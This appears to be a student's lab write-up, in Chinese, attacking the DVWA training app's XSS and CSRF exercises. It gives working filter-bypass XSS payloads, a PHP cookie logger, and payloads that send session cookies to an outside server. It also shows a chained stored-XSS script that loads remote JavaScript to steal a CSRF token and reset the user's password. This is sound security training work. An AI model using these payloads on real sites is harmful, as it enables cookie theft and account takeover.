【安全攻防综合实验9】DVWA-跨站脚本(XSS+CSRF)

Posted by 慕念 on November 11, 2021

【实验目的】

  • 有一个已安装安装lampp套件以及DVWA1.10的虚拟机镜像。
  • 访问该虚拟机上的DVWA的XSS(Reflect),XSS(Stored)和CSRF实验页面,对具有XSS和CSRF漏洞的服务端进行攻击尝试,达到实验目标。
  • 总分40分,构成如下:
    • XSS(Reflect),High 级别,15分,要求:先设置级别,用户已登录DVWA的情况下,点击你所构造的网页或链接,Cookie被你获取(送到某个其他网站)。仅仅弹出一个Alert,不算成功。
    • XSS(Stored),High 级别,15分,要求:先设置级别,你注入脚本存入数据库;用户在已登录DVWA的情况下,浏览Guestbook,则执行脚本。要求:至少Alert弹出Cookie,可得全分。(不能采用低级别注入、高级别浏览;不能用改包方式修改安全级别为低级别)
    • CSRF:Medium级别,10分,要求:用户已登录DVWA的情况下,点击你所构造的网页或链接,口令被修改。
    • 通用要求:隐蔽性、自动性以及对假设条件的苛刻性将影响最后得分。
  • 加分项:最高7分
    • XSS(Stored),High级别,如果用户浏览Guestbook 时将Cookie隐蔽送到另一个网站,而不是Alert弹出cookie,加2分。
    • CSRF实验,High级别,加5分,要求:先设置High级别,注入你的payload到数据库;用户已登录DVWA的情况下,点击你所构造的网页或链接(XSS stored),口令被自动修改。Alert弹出Token不算完成。建议参考https://www.freebuf.com/articles/web/203301.html
    • 注意:数据库中guestbook表的name字段长度被限定为100字符,要求在不改变数据库字段长度限制的前提下完成上述目标可获得加分。

【实验步骤】

一、XSS(Reflected)

(1)Low

查看源码:

image-20211106200152149

从源码中可以看出,通过array_key_exists检查数组中是否有指定的键名name,直接用get方式传入了name参数,并没有任何的过滤与检查。且X-XSS-Protection为0,即禁用XSS保护。

输入admin进行测试,可以发现url中name的值变成了admin:

image-20211106200345266

注入常见的XSS攻击payload:<script>alert(1)</script>

image-20211106200737138

成功弹窗,再查看源代码,可以发现注入成功:

image-20211106201342657

(2)Medium

先看源码,medium相较于low增加了str_replace()函数,将<script>替换为空,可以通过双写来绕过

image-20211106224807795

输入<sc<script>ript>alert(1)</script>,成功弹窗:

image-20211106225219237

(3)High

1、弹窗

看源码,High中用preg_replace()函数通过正则表达式进行匹配和替换。所以常规的双写绕过和大小写绕过就失败了。

image-20211106225418451

但是可以通过其他非<script>标签注入XSS代码,比如:

<img src=1 onerror=alert(1)>

<iframe onload=alert(1)>

……

运行截图:

image-20211106230056291

2、cookie

首先在自己的服务器中创建cookie.php文件,用来保存传过来的cookie。这里服务器用的是第一节课搭建的win10虚拟机中的C:\AppServ\www。

image-20211106234449134

<?php
  $cookie = $_GET["cookie"];
  echo "Your cookie:";
  echo $cookie;
  $log = fopen("cookie.txt","a");
  fwrite($log,$cookie."\n");
  fclose($log);
?>

测试一下,是可以访问的:

image-20211106234641570

构造js语句,如果没有过滤<script>的话这样就可以了:

<script>document.location="http://192.168.112.136:8080/cookie.php?cookie="+document.cookie</script>

但是由于High中用正则表达式过滤了<script>,尝试用<img>标签:

<img src=1 onerror='(new Image()).src="http://192.168.112.136:8080/cookie.php?cookie="+document.cookie'>

被过滤:

image-20211108210724260

把最后document中的t转写成&#116(因为HTML标签中支持十进制):

<img src=1 onerror='(new Image()).src="http://127.0.0.1:8080/cookie.php?cookie="+documen&#116.cookie'>

运行成功:

image-20211108211148560

image-20211108211356784


二、XSS(Stored)

(1)Low

先看源码:

image-20211108191902529

其中调用了3个函数:

trim()函数移除字符串两侧的空白字符或其他预定义字符,比如\0\t\n\x0B\r和空格。

mysqli_real_escape_string()函数对字符串中的特殊符号(\x00\n\r\'"\x1a)进行转义。

stripslashes()函数删除字符串中的反斜杠。

除此之外并没有对输入的name和message进行xss过滤,并且数据存储在数据库中。

源码本来的用途是用户输入name和message,网页会把输入的信息放入数据库中并在网页上回显。

直接在message注入:<script>alert(document.cookie)</script>

成功弹窗:

image-20211108192700978

在网页源代码中看到了注入的语句:

image-20211108192800026

(2)Medium

查看源码:

image-20211108193836827

相较于Low,Medium的代码中增加了3个函数:

addslashes() 返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。

strip_tags() 函数用于剥去字符串中的 HTML、XML 以及 PHP 的标签。

htmlspecialchars() 函数用于把预定义的字符 “<” 和 “>” 转换为 HTML 实体。

所以message 对所有的 XSS 都进行了过滤,但是 name 只是把 <script> 替换成空,可以对 name 参数进行注入。

但是由于name的输入框限制了输入长度,需要通过burp suite抓包修改值。

image-20211108195925543

双写绕过:

<sc<script>ript>alert(document.cookie)</script>

image-20211108200452939

成功弹窗:

image-20211108200520984

(3)High

1、弹窗

查看源码:

image-20211108203632215

相较于Medium,High对于message的处理没有改变,仍然是对所有的 XSS 都进行了过滤。对于name的处理改变为用正则表达式过滤<script>。和XSS(Reflected)的处理一样,可以用其他标签代替。比如:

<body onload=alert(document.cookie)>

同样通过burp suite抓包修改值:

image-20211108204611923

成功弹窗:

image-20211108204514458

2、cookie

滤过方式和XSS(Reflected)一样,所以先尝试一样的payload:

<img src=1 onerror='(new Image()).src="http://127.0.0.1:8080/cookie.php?cookie="+documen&#116.cookie'>

因为name的输入框限定大小为10,可以通过F12选取元素修改maxlength为100,方便注入:

image-20211109204842418

失败了,由于数据库中guestbook表的name字段长度被限定为100字符,这里的长度太长了:

image-20211109205043900

把cookie.php文件名缩短,改为a.php,为了便于和XSS(Reflected)获得的cookie区分,把代码中的cookie.txt也改为a.txt。

再次尝试注入:

<img src=1 onerror='(new Image()).src="http://127.0.0.1:8080/a.php?cookie="+documen&#116.cookie'>

成功:

image-20211109205303627

image-20211109205326842

image-20211109205413204


三、CSRF

(1)Low

查看源码:

image-20211108205119415

GET方式得到三个参数,Changepassword_newpassword_conf。比较password_newpassword_conf,如果相同则更新数据库,没有任何防CSRF的措施。

用burp suite抓包也可以看见三个参数:

image-20211109124616978

对于CSRF有三种攻击方式:直接构造链接、构造短链接和构造攻击页面。

①直接构造链接:

http://192.168.112.141/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change#

点击后:

image-20211109125016304

在login.php界面只有输入新密码才能进入。

②构造短链接:

可以通过一些在线短链接生成器构造:http://topurl.cn/9qW(我在测试的时候是可以的,但是我不确定该短链接的生命周期,好像免费生成的生命周期都比较短,永久短链接需要付费生成)

image-20211109210234896

(2)High

先根据老师给的攻略做High(因为做medium的时候遇到了一些问题)。

看源码:

image-20211110111443040

High中增加了Anti-csrf token机制,由checkToken函数来实现,用户每次访问更改密码页面时,服务器会返回一个随机的token,之后每次向服务器发起请求,服务器会优先验证token,如果token正确,那么才会处理请求。

因为在XSS(Stored)中可以利用$name做注入,可以用来配合CSRF重置密码。

由于后端数据库中name只能写入100个字符,所以这里需要把payload分成多份,多次注入才能达到效果。

payload:

<svg/onload="setTimeout(function(){s='&#115;&#99;&#114;&#105;&#112;&#116;'},3000)">
<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">
<svg/onload="setTimeout(function(){j.src='http://192.168.112.136:8080/x.js'},5000)">
<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">

因为代码执行的时序不同,所以需要setTimeout()进行延时,让每一句等待的时间不同。

为了减少payload的数量,需要引入外部js,所以需要<script src="URL">

先通过document.createElement()创建一个<script>,但是由于有正则表达式过滤,所以需要script编码为&#115;&#99;&#114;&#105;&#112;&#116;

再把自己写的js代码放在本地服务器,url写进src:j.src='http://192.168.112.136:8080/x.js'

最后通过document.body.appendChild将上面创建的j元素加入到body的尾部。

x.js代码:

//创建<iframe>元素
ifr = document.createElement('iframe');
//../csrf为相对地址
ifr.src="../csrf";
//隐藏iframe
ifr.hidden=1;
//把创建的ifr元素加入body的尾部
document.body.appendChild(ifr);
//从下图的网页源代码中可以看到user_token,通过getElementsByName()获取值,放入伪造的链接
setTimeout(function(){f=frames[0];t=f.document.getElementsByName('user_token')[0].value;i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token='+t;},3000)

image-20211110123659203

运行时从网络中可以看出,每当访问XSS(Stored)页面时,都会对本地服务器的x.js发起请求,然后请求访问../csrf/?password_new=admin&password_conf=admin&Change=Change&user_token=’+t的页面,从而修改密码,达到了实验目的。

image-20211109220448097

(3)Medium

先看源码:

image-20211109125220855

Medium的代码和Low、High相比,在一开始多了check请求来源的操作。

用burp suite抓包后可以看到,request多了Referer字段:

image-20211109125339143

假设A站上有B站的链接,在A站上点击B站的链接,请求头会带有Referer,而Referer的值为A站的链接。referer的绕过只需要在恶意网站的访问路径上创建成包含原本referer中有的字段名就可以了。

这里仿照High的做法,利用DVWA的XSS(Stored)平台进行注入可以轻松绕过。

payload:

<svg/onload="setTimeout(function(){s='&#115;&#99;&#114;&#105;&#112;&#116;'},3000)">
<svg/onload="setTimeout(function(){j=document.createElement(s)},4000)">
<svg/onload="setTimeout(function(){j.src='http://192.168.112.136:8080/x.js'},5000)">
<svg/onload="setTimeout(function(){document.body.appendChild(j)},6000)">

(payload和High中一致)

x.js代码:(做了一点点修改,只需要删掉和token相关的部分即可)

//创建<iframe>元素
ifr = document.createElement('iframe');
//../csrf为相对地址
ifr.src="../csrf";
//隐藏iframe
ifr.hidden=1;
//把创建的ifr元素加入body的尾部
document.body.appendChild(ifr);
//从下图的网页源代码中可以看到user_token,通过getElementsByName()获取值,放入伪造的链接
setTimeout(function(){i=document.createElement('img');i.src='../csrf/?password_new=admin&password_conf=admin&Change=Change#';},3000)

运行成功,请求过程和High中一致:

image-20211109221514748

四、一些思考

分别来看三个impossible级别所做的防御措施:

XSS(Reflected):

image-20211111105932322

①增加了验证token的步骤,防范CSRF;

htmlspecialchars() 函数会把预定义的字符 <> &''"" 转换为 HTML 实体,防止浏览器将其作为HTML元素。

XSS(Stored):image-20211111110500687

①同样增加了验证token的步骤,防范CSRF;

②同样使用了htmlspecialchars() 函数,把预定义的字符转换为 HTML 实体,防止XSS攻击;

③采用了PDO技术防止sql注入。

CSRF:

image-20211111115625780

①采用了PDO技术防止sql注入;

②在当前修改密码的情景下,impossible采取了要求输入当前密码,由于攻击者无法知道用户当前密码,所以无法伪造恶意链接。